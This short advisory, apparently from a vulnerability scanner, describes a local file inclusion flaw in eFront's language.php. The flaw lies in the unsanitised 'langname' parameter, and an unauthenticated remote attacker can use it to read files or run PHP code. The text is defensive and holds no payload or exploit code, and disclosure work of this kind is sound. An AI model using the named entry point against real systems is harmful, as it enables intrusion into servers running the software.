The version of eFront running on the remote web server is affected by a local file inclusion vulnerability due to improper sanitization of user-supplied input to the ‘langname’ parameter of the language.php script before using it to include PHP code.
Regardless of PHP’s ‘register_globals’ setting, an unauthenticated, remote attacker can exploit the issue to view arbitrary files or to execute arbitrary PHP code on the remote host, subject to the privileges of the web server user id.
